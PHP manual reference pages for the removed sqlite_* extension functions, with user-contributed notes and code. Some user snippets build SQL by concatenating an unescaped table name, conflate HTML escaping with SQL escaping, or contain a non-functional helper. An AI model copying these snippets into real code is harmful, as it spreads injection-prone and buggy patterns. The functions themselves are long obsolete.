sqlite_current -- SQLiteResult::current -- SQLiteUnbuffered::current — Fetches the current row from a result set as an array

Description

array sqlite_current ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::current ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::current ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_current() is identical to sqlite_fetch_array() except that it does not advance to the next row prior to returning the data; it returns the data from the current position only.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the current row from a result set; FALSE if the current position is beyond the final row.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

See Also

  • sqlite_seek() - Seek to a particular row number of a buffered result set
  • sqlite_next() - Seek to the next row number
  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

There are no user contributed notes for this page.


Returns the textual description of an error code

  • « sqlite_current
  • sqlite_escape_string »
  • PHP Manual
  • SQLite Functions
  • Returns the textual description of an error code

sqlite_error_string

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_error_string — Returns the textual description of an error code

Description

string sqlite_error_string ( int $error_code )

Returns a human readable description of the error_code returned from sqlite_last_error().

Parameters

error_code

The error code being used, which might be passed in from sqlite_last_error().

Return Values

Returns a human readable description of the error_code, as a string.

See Also

  • sqlite_last_error() - Returns the error code of the last error for a database

User Contributed Notes

There are no user contributed notes for this page.


Escapes a string for use as a query parameter

  • « sqlite_error_string
  • sqlite_exec »
  • PHP Manual
  • SQLite Functions
  • Escapes a string for use as a query parameter

sqlite_escape_string

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_escape_string — Escapes a string for use as a query parameter

Description

string sqlite_escape_string ( string $item )

sqlite_escape_string() will correctly quote the string specified by item for use in an SQLite SQL statement. This includes doubling up single-quote characters (') and checking for binary-unsafe characters in the query string.

Although the encoding makes it safe to insert the data, it will render simple text comparisons and LIKE clauses in your queries unusable for the columns that contain the binary data. In practice, this shouldn't be a problem, as your schema should be such that you don't use such things on binary columns (in fact, it might be better to store binary data using other means, such as in files).

Parameters

item

The string being quoted.

If the item contains a NUL character, or if it begins with a character whose ordinal value is 0x01, PHP will apply a binary encoding scheme so that you can safely store and retrieve binary data.

Return Values

Returns an escaped string for use in an SQLite SQL statement.

Notes

Note:

    Do not use this function to encode the return values from UDF's created
    using sqlite_create_function() or
    sqlite_create_aggregate() - use
    sqlite_udf_encode_binary() instead.

Warning

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

See Also

  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF

User Contributed Notes

jwzumwalt at neatinfo dot com 10-Dec-2011 07:29
sqlite_escape_string() does not catch all HTML characters that may
conflict with a browser display. Notice the difference with the
custom routine below

<?php
# php lib command
$str = "Advoid! /slashes\, 'single' and these <too>";
$str = sqlite_escape_string($str);
echo "<br>$str<br>";

# custom function
$str = "Advoid! /slashes\, 'single' and these <too>";
$str = clean($str);
echo "<br>$str<br>";

function clean($str) {
  $search  = array('&'    , '"'     , "'"    , '<'   , '>'    );
  $replace = array('&amp;', '&quot;', '&#39;', '&lt;', '&gt;' );

  $str = str_replace($search, $replace, $str);
  return $str;
}
?>

Output:
Advoid! /slashes\, "single" and these
Advoid! /slashes\, 'single' and these <too>
carlo_greco at live dot it 12-Dec-2009 06:06
You can try this (it works with strings and arrays):

<?php
// oop

class sqlite extends SQLiteDatabase {
    public function escape($data) {
        if(is_array($data))
            return array_map("sqlite_escape_string", $data);

        return sqlite_escape_string($data);
    }
}

$db = new sqlite("dbname");
$values = array("hell'o", "he'y");
$values = $db->escape($values); // returns array("hell''o", "hey''y")

// procedural

function sqlite_myescape($data) {
    if(is_array($data))
        return array_map("sqlite_escape_string", $data);

    return sqlite_escape_string($data);
}

$values = array("hell'o", "he'y");
$values = sqlite_myescape($values); // returns array("hell''o", "hey''y")
?>
soletan at toxa dot de 29-Mar-2005 01:19
@minots: simplify what you are doing:

<?php

function sqlite_escape_array( &$arr ) {

  $invalid = array( 'argv', 'argc' );

  foreach ( $arr as $key => $val )
     if ( ( strtoupper( $key ) != $key ) && !is_numeric( $key ) && !in_array( $key, $invalid ) ) {
       if ( is_string( $val ) )
           $arr[$key] = sqlite_escape_string( $val );
       else if ( is_array( $val ) )
           sqlite_escape_array( $arr[$key] );
     }

  return $arr;
}

?>

I'm not sure if the condition is equivalent to yours, but this excludes any numeric key, any completely uppercase'd keys and some selected (argc and argv) special keys. In case of never passing $GLOBALS or $_SERVER as argument one might shorten everything to this as a "pipelined" version:

<?php

function sqlite_escape_array( $arr ) {

  foreach ( $arr as $key => $val )

    if ( is_string( $val ) )
      $arr[$key] = sqlite_escape_string( $val );

    else if ( is_array( $val ) )
      $arr[$key] = sqlite_escape_array( $val );

  return $arr;

}

?>

PHP's syntax is more powerful than those of many other languages, even when it's supporting their one's as well.
29-Mar-2004 10:03
sometimes i you have to escape an array instead of a string.
my function to do it works like:
array sqlite_escape_array ( &array string)

<?php
function sqlite_escape_array(&$arr)
{
  while ( list($key, $val) = each($arr) ):
    if ( (strtoupper($key)!=$key OR "".intval($key) == "$key") && $key!="argc" and $key!="argv"):
        if (is_string($val)):
            $arr[$key]=sqlite_escape_string($val);
        endif;
        if (is_array($val)):
            $arr[$key]=sqlite_escape_array($val);
        endif;
    endif;
  endwhile;
  return $arr;
}
?>


Executes a result-less query against a given database

  • « sqlite_escape_string
  • sqlite_factory »
  • PHP Manual
  • SQLite Functions
  • Executes a result-less query against a given database

sqlite_exec

SQLiteDatabase::exec

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.3)

sqlite_exec -- SQLiteDatabase::exec — Executes a result-less query against a given database

Description

bool sqlite_exec ( resource $dbhandle , string $query [, string &$error_msg ] )
bool sqlite_exec ( string $query , resource $dbhandle )

Object oriented style (method):

public bool SQLiteDatabase::queryExec ( string $query [, string &$error_msg ] )

Executes an SQL statement given by the query against a given database handle (specified by the dbhandle parameter).

Warning

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

This function will return a boolean result; TRUE for success or FALSE for failure. If you need to run a query that returns rows, see sqlite_query().

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_exec($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->queryExec("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'", $error);
if (!$query) {
    exit("Error in query: '$error'");
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_unbuffered_query() - Execute a query that does not prefetch and buffer all data
  • sqlite_array_query() - Execute a query against a given database and returns an array

User Contributed Notes

nonproffessional at clockworkgeek dot com 17-Apr-2008 09:01
Just to point out that "CREATE TABLE IF NOT EXISTS" is only supported in SQLite version 3.3.0 or above. And PHP (currently 5.2.5) only comes with SQLite version 2.1.

Executing a create table like this will throw an error as will creating a table that already exists. Instead execute a normal "CREATE TABLE" command and catch it with "try {..} catch".
rrf5000 at psu dot edu 24-Jun-2007 01:33
If you run a multiline SQL command (an INSERT, for example), and there is a SQL error in any of the lines, this function will recognize the error and return FALSE.  However, any correct commands before the one with the error will still execute.  Additionally, if you run changes() after such an incident, it will report that 0 rows have been changed, even though there were rows added to the table by the successful commands.

An example would be:

<?php

// create new database (OO interface)
$dbo = new SQLiteDatabase("db/database.sqlite");

// create table foo
$dbo->query("CREATE TABLE foo(id INTEGER PRIMARY KEY, name CHAR(255));");

// insert sample data
$ins_query = "INSERT INTO foo (name) VALUES ('Ilia1');
INSERT INTO foo (name) VALUES('Ilia2');
INSECT INTO foo (name) VALUES('Ilia3');";
$dbo->queryExec($ins_query);

// get number of rows changed
$changes = $dbo->changes();
echo "<br />Rows changed:  $changes<br />";

// Get and show inputted data
$tableArray = $dbo->arrayQuery("SELECT * FROM foo;");
echo "Table Contents\n";
echo "<pre>\n";
print_r($tableArray);
echo "\n</pre>";

?>

The above code should show that 0 rows have been changed, but that there is new data in the table.


Opens an SQLite database and returns an SQLiteDatabase object

  • « sqlite_exec
  • sqlite_fetch_all »
  • PHP Manual
  • SQLite Functions
  • Opens an SQLite database and returns an SQLiteDatabase object

sqlite_factory

(PHP 5 < 5.4.0)

sqlite_factory — Opens an SQLite database and returns an SQLiteDatabase object

Description

SQLiteDatabase sqlite_factory ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

sqlite_factory() behaves similarly to sqlite_open() in that it opens an SQLite database or attempts to create it if it does not exist. However, a SQLiteDatabase object is returned rather than a resource. Please see the sqlite_open() reference page for further usage and caveats.

Parameters

filename

The filename of the SQLite database.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns an SQLiteDatabase object on success, NULL on error.

Examples

Example #1 sqlite_factory() example

<?php
$dbhandle = sqlite_factory('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

/* functionally equivalent to: */

$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->query('SELECT user_id, username FROM users');

?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist

User Contributed Notes

There are no user contributed notes for this page.


Fetches all rows from a result set as an array of arrays

  • « sqlite_factory
  • sqlite_fetch_array »
  • PHP Manual
  • SQLite Functions
  • Fetches all rows from a result set as an array of arrays

sqlite_fetch_all

SQLiteResult::fetchAll

SQLiteUnbuffered::fetchAll

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_fetch_all -- SQLiteResult::fetchAll -- SQLiteUnbuffered::fetchAll — Fetches all rows from a result set as an array of arrays

Description

array sqlite_fetch_all ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::fetchAll ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::fetchAll ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_fetch_all() returns an array of the entire result set from the result resource. It is similar to calling sqlite_query() (or sqlite_unbuffered_query()) and then sqlite_fetch_array() for each row in the result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the remaining rows in a result set. If called right after sqlite_query(), it returns all rows. If called after sqlite_fetch_array(), it returns the rest. If there are no rows in a result set, it returns an empty array.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
$result = sqlite_fetch_all($query, SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

$result = $query->fetchAll(SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

21-Oct-2004 06:15
The usage of sqlite_fetch_all should be your choise
(instead the well known practice of "while()" loop)
when unmodified tabledata is prefered.

Example code for a better illustration:
<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)):
   $query  = "SELECT x, y FROM sometable LIMIT 3;";
   $result = sqlite_query($dbhandle, $query);

   // usage with sqlite_fetch_all
   $array1 = sqlite_fetch_all($result, SQLITE_ASSOC);

   // the "well known practice"
   $i = '0';
   while ($row = sqlite_fetch_array($result, SQLITE_ASSOC)):
       $array2["$i"] = $row;
       $i++;
   endwhile;

   sqlite_close($dbhandle);
endif;
?>

There are no differents within the values of array1 and array2.
Both arrays will be something like:

Array
(
    [0] => Array
        (
            [x] => 22004
            [y] => example_data1
        )

    [1] => Array
        (
            [x] => 92044
            [y] => example_data2
        )

    [2] => Array
        (
            [x] => 143060
            [y] => example_data3
        )
)

If you want to let me know about your comments, feel
free to send me a note via feedback-formular at:
http://www.d0x.de/pages/kontakt.php


Fetches the next row from a result set as an array

  • « sqlite_fetch_all
  • sqlite_fetch_column_types »
  • PHP Manual
  • SQLite Functions
  • Fetches the next row from a result set as an array

sqlite_fetch_array

SQLiteResult::fetch

SQLiteUnbuffered::fetch

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_fetch_array -- SQLiteResult::fetch -- SQLiteUnbuffered::fetch — Fetches the next row from a result set as an array

Description

array sqlite_fetch_array ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::fetch ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::fetch ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Fetches the next row from the given result handle. If there are no more rows, returns FALSE, otherwise returns an associative array representing the row data.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the next row from a result set; FALSE if the next position is beyond the final row.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural example

<?php
$dbhandle = sqlite_open('sqlitedb');
$query = sqlite_query($dbhandle, 'SELECT name, email FROM users LIMIT 25');
while ($entry = sqlite_fetch_array($query, SQLITE_ASSOC)) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented example

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');

$query = $dbhandle->query('SELECT name, email FROM users LIMIT 25'); // buffered result set
$query = $dbhandle->unbufferedQuery('SELECT name, email FROM users LIMIT 25'); // unbuffered result set

while ($entry = $query->fetch(SQLITE_ASSOC)) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_array_query() - Execute a query against a given database and returns an array
  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

saleh at sfsj dot net 10-May-2004 03:12
[Editor's note: to get short column names there's an undocumented PRAGMA setting. You can exec "PRAGMA short_column_names = ON" to force that behavior.]

I noticed that if you use Joins in SQL queries, the field name is messed up with the dot!
for example if you have this query:
SELECT n.*, m.nickname FROM news AS n, members AS m WHERE n.memberID = m.id;

now if you want to print_r the results returned using SQLITE_ASSOC type, the result array is like this :
array
(
  [n.memberID] => 2
  [n.title] => test title
  [m.nickname] => NeverMind
  [tablename.fieldname] => value
)

and I think it looks horriable to use the variable ,for example, $news['m.nickname'] I just don't like it!

so I've made a small function that will remove the table name (or its Alias) and will return the array after its index is cleaned
<?php
function CleanName($array)
{
  foreach ($array as $key => $value) {
    //if you want to keep the old element with its key remove the following line
      unset($array[$key]);

   //now we clean the key from the dot and tablename (alise) and set the new element
      $key = substr($key, strpos($key, '.')+1);
      $array[$key] = $value;
  }
  return $array;
}
?>


Return an array of column types from a particular table

  • « sqlite_fetch_array
  • sqlite_fetch_object »
  • PHP Manual
  • SQLite Functions
  • Return an array of column types from a particular table

sqlite_fetch_column_types

SQLiteDatabase::fetchColumnTypes

(PHP 5 < 5.4.0)

sqlite_fetch_column_types -- SQLiteDatabase::fetchColumnTypes — Return an array of column types from a particular table

Description

array sqlite_fetch_column_types ( string $table_name , resource $dbhandle [, int $result_type = SQLITE_ASSOC ] )

Object oriented style (method):

public array SQLiteDatabase::fetchColumnTypes ( string $table_name [, int $result_type = SQLITE_ASSOC ] )

sqlite_fetch_column_types() returns an array of column data types from the specified table_name table.

Parameters

table_name

The table name to query.

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_ASSOC is the default for this function.

Return Values

Returns an array of column data types; FALSE on error.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Changelog

Version | Description
5.1.0 | Added result_type

Examples

Example #1 Procedural example

<?php
$db = sqlite_open('mysqlitedb');
sqlite_query($db, 'CREATE TABLE foo (bar varchar(10), arf text)');
$cols = sqlite_fetch_column_types('foo', $db, SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type\n";
}
?>

Example #2 Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$db->query('CREATE TABLE foo (bar varchar(10), arf text)');
$cols = $db->fetchColumnTypes('foo', SQLITE_ASSOC);

foreach ($cols as $column => $type) {
    echo "Column: $column  Type: $type\n";
}
?>

The above example will output:

Column: bar  Type: VARCHAR
Column: arf  Type: TEXT

User Contributed Notes

enthusiast 06-Mar-2005 05:19
If I (OO version) try to add the contant SQLITE_ASSOC, (exactly as listed in the above example) it generates the following error:

SQLiteDatabase::fetchColumnTypes() expects exactly 1 parameter, 2 given in C:\....

If I remove it completely, it returns the associative array I expected.
10-Jan-2005 12:01
The problem with the permanently locked database file when using this function still seems to exist in PHP 5.0.3 (tested on win32).

However, you can get all the information you need about the fields of a table by using this query:

PRAGMA table_info(name_of_your_table);
hugo_pl at users dot sourceforge dot net 18-Aug-2004 06:55
This function, and the OO version, is bugged in PHP <= 5.0.1, locking the database until you restart the webserver.

http://bugs.php.net/bug.php?id=29476


Fetches the next row from a result set as an object

  • « sqlite_fetch_column_types
  • sqlite_fetch_single »
  • PHP Manual
  • SQLite Functions
  • Fetches the next row from a result set as an object

sqlite_fetch_object

SQLiteResult::fetchObject

SQLiteUnbuffered::fetchObject

(PHP 5 < 5.4.0)

sqlite_fetch_object -- SQLiteResult::fetchObject -- SQLiteUnbuffered::fetchObject — Fetches the next row from a result set as an object

Description

object sqlite_fetch_object ( resource $result [, string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )

Object oriented style (method):

object SQLiteResult::fetchObject ([ string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )
object SQLiteUnbuffered::fetchObject ([ string $class_name [, array $ctor_params [, bool $decode_binary = true ]]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

florian at phpws dot org 12-Aug-2006 07:13
Here is the function from "cscm at meuh dot dyndns dot org" rewriten.
I think it will work better when really assigning the values ;-)
Also I'd replace the empty "bidon" class by stdClass wich is such an empty class and is provided by default.

// Fetch resultset as an object
function sqlite_fetch_object(&$resource){
               $arr =  sqlite_fetch_array($resource);
               $obj = new stdClass();
               foreach ($arr as $key => $value) {
                       # Check is valid $T_VARIABLE
                       if (ereg(\"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\", $key)) {
                               $obj->$key = $value;
                       }
               }
               return $obj;
}
vbwebprofi at gmx dot de 12-Mar-2006 04:39
Here a light workaround for PHP 4.x which I use in my DBAccess class :

<?
  function sqlite_fetch_object(&$result) {
    $vO = sqlite_fetch_array($result, SQLITE_ASSOC);

    if($vO) {
      $vO = (object) $vO;
    }

    return $vO;
  }
?>

HTH Holger
cscm at meuh dot dyndns dot org 04-Feb-2006 01:35
As the sqlite_fetch_object function is not implemented in the PECL extension version 1.0.3.
I�ve rewrite the sqlite_fetch_object in PHP :

// An empty class
class bidon {
}

// Fetch resultset as an object
function sqlite_fetch_object(&$resource){
                $arr =  sqlite_fetch_array($resource);
                $obj = new bidon();
                foreach ($arr as $key => $value) {
                        # Check is valid $T_VARIABLE
                        if (ereg(\"[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\", $key)) {
                                $obj->$key;
                        }
                }
                return $obj;
}

Voila
Benjamin 22-Sep-2004 07:34
This function is not implemented in the PECL extension version 1.0.3  http://pecl.php.net/package/SQLite/1.0.3


Fetches the first column of a result set as a string

  • « sqlite_fetch_object
  • sqlite_fetch_string »
  • PHP Manual
  • SQLite Functions
  • Fetches the first column of a result set as a string

sqlite_fetch_single

SQLiteResult::fetchSingle

SQLiteUnbuffered::fetchSingle

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.1)

sqlite_fetch_single -- SQLiteResult::fetchSingle -- SQLiteUnbuffered::fetchSingle — Fetches the first column of a result set as a string

Description

string sqlite_fetch_single ( resource $result [, bool $decode_binary = true ] )

Object oriented style (method):

string SQLiteResult::fetchSingle ([ bool $decode_binary = true ] )
string SQLiteUnbuffered::fetchSingle ([ bool $decode_binary = true ] )

sqlite_fetch_single() is identical to sqlite_fetch_array() except that it returns the value of the first column of the rowset.

This is the most optimal way to retrieve data when you are only interested in the values from a single column of data.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns the first column value, as a string.

Examples

Example #1 A sqlite_fetch_single() example

<?php
if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    $sql = "SELECT id FROM sometable WHERE id = 42";
    $res = sqlite_query($dbhandle, $sql);

    if (sqlite_num_rows($res) > 0) {
        echo sqlite_fetch_single($res); // 42
    }

    sqlite_close($dbhandle);
}
?>

See Also

  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

visavi dot net at mail dot ru (Vantuz) 08-Aug-2009 01:26
With the help of sqlite_fetch_single, you can quickly and easily calculate the number of elements in the table

<?php

// create new database (OO interface)
$db = new SQLiteDatabase('database.db', 0666);

// create table inbox and paste data
$db->queryExec("
CREATE TABLE inbox (
inbox_id INTEGER NOT NULL PRIMARY KEY,
inbox_send varchar(20) NOT NULL,
inbox_text TEXT NOT NULL,
inbox_time INTEGER UNSIGNED NOT NULL,
inbox_user varchar(20) NOT NULL
);");

$ins_query = "
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia1', 'Message1', '".time()."', 'my_name');
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia2', 'Message2', '".time()."', 'user');
INSERT INTO inbox (inbox_send, inbox_text, inbox_time, inbox_user) VALUES ('Ilia2', 'Message3', '".time()."', 'my_name');
";

$db->queryExec($ins_query);

//view all posts by my_name
$total = $db->singleQuery("SELECT count(*) FROM inbox WHERE inbox_user='my_name';");

echo $total;
// the result will be the number 2

/* P.S. sorry for my english */
?>
jmarbas at hotmail dot com 24-Jul-2005 02:45
It isnt specified in the above description for this function, but yes this function will not only return the first column, but it will also return the first value (ie from the first row in the result set) of that column. Also the result set pointer is involved here in that if you use sqlite_fetch_single in a loop, it will return each value in the first column sequentially and advance the result set pointer each time.

i.e. the first loop iteration it returns the first value in the first column. the second loop iteration it returns the second value in the first column. the third loop iteration the third value and so on.

  $handle = sqlite_open("database_file_name") or die("Could not open database");
  //generate query string
  $query = "select distinct field1 from database_name";
  //execute query
  $result = sqlite_query($handle,$query)
  //if a row exists
  if(sqlite_num_rows($result)>0){
    echo "<table cellpadding=\"10\" border=\"1\">";
    //check for more rows
    while(sqlite_has_more($result)){
      //get first field from each row
      //print values
      $row=sqlite_fetch_single($result);
      echo "<tr>";
      echo "<td>".$row."</td>";
      echo "</tr>";
    }
    echo "</table>";
  }
  //close database file
  sqlite_close($handle);
roga at yoopee dot de 11-Jul-2004 10:02
Be careful with the use of sqlite_fetch_single() in a while-loop:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while ($row = sqlite_fetch_single($result)) {
     /*...do s.th. with $row...*/
}
?>

This may not work as expected because the loop will stop if any of the foos has a false value (e.g. zero).

Use sqlite_has_more() instead:

<?php
$result = sqlite_query($db_handle, 'SELECT foo FROM bar;');

while (sqlite_has_more($result)) {
     $row = sqlite_fetch_single($result);
     /*...do s.th. with $row...*/
}
?>


Alias of sqlite_fetch_single

  • « sqlite_fetch_single
  • sqlite_field_name »
  • PHP Manual
  • SQLite Functions
  • Alias of sqlite_fetch_single

sqlite_fetch_string

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_fetch_string — Alias of sqlite_fetch_single()

Description

This function is an alias of: sqlite_fetch_single().

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of a particular field

  • « sqlite_fetch_string
  • sqlite_has_more »
  • PHP Manual
  • SQLite Functions
  • Returns the name of a particular field

sqlite_field_name

SQLiteResult::fieldName

SQLiteUnbuffered::fieldName

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_field_name -- SQLiteResult::fieldName -- SQLiteUnbuffered::fieldName — Returns the name of a particular field

Description

string sqlite_field_name ( resource $result , int $field_index )

Object oriented style (method):

string SQLiteResult::fieldName ( int $field_index )
string SQLiteUnbuffered::fieldName ( int $field_index )

Given the ordinal column number, field_index, sqlite_field_name() returns the name of that field in the result set result.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

field_index

The ordinal column number in the result set.

Return Values

Returns the name of a field in an SQLite result set, given the ordinal column number; FALSE on error.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

User Contributed Notes

Jan Holeek 12-Jan-2011 02:27
This code works with SQlite version 3 databases.
<?php
function sqlite_field_names($dbfile, $tablename){
    try
      {
    $db = new PDO("sqlite:".$dbfile);
    $sql=$db->query("SELECT sql FROM sqlite_master WHERE tbl_name='".$tablename."'");
    foreach($sql as $row)
        {
        $fields = $row["sql"];
        }
    $db = NULL;
   }
   catch(PDOException $e)
   {
    print "Exception : ".$e->getMessage();
   }
    $cut=strtok($fields,"(");
    while($fieldnames[]=strtok(",")) {};
    array_pop($fieldnames);
    foreach($fieldnames as $no => $field)
        if (strpos($field, "PRIMARY KEY")){
            strtok($field,"(");
            $primary=strtok(")");
            unset($fieldnames[$no]);
        } else
            $fieldnames[$no]=strtok($field, " ");
    return $fieldnames;
}

print_r(array_values(sqlite_field_names($dbfile, $tablename)));
?>
admin at psychonautical dot org 10-Nov-2010 08:58
It's not the most elegant way, but it works:

<?php
function sqlite_field_names($db, $tablename){
    $sq5=sqlite_single_query($db, "SELECT sql FROM sqlite_master WHERE tbl_name='".$tablename."'", SQLITE_NUM);
    $kommando=$sq5[0];
    $cut=strtok($kommando,"(");
    while($fieldnames[]=strtok(",")) {};
    array_pop($fieldnames);
    foreach($fieldnames as $no => $field)
        if (strpos($field, "PRIMARY KEY")){
            strtok($field,"(");
            $primary=strtok(")");
            unset($fieldnames[$no]);
        } else
            $fieldnames[$no]=strtok($field, " ");
    return $fieldnames;
}
?>
rrf5000 at psu dot edu 22-Jun-2007 10:03
While working with SQLite using its object-oriented mode, I found need to display a column/field name without knowing what it was in advance.  I couldn't find any examples on the Internet, just this document.  So, for anyone who happens to need to do this, here's an example.

<?php

$db = "db/database.sqlite";

// create new database (OO interface)
$dbo = new SQLiteDatabase("$db");

// create table foo and insert sample data
$dbo->query("
 CREATE TABLE foo(id INTEGER PRIMARY KEY, name CHAR(255));
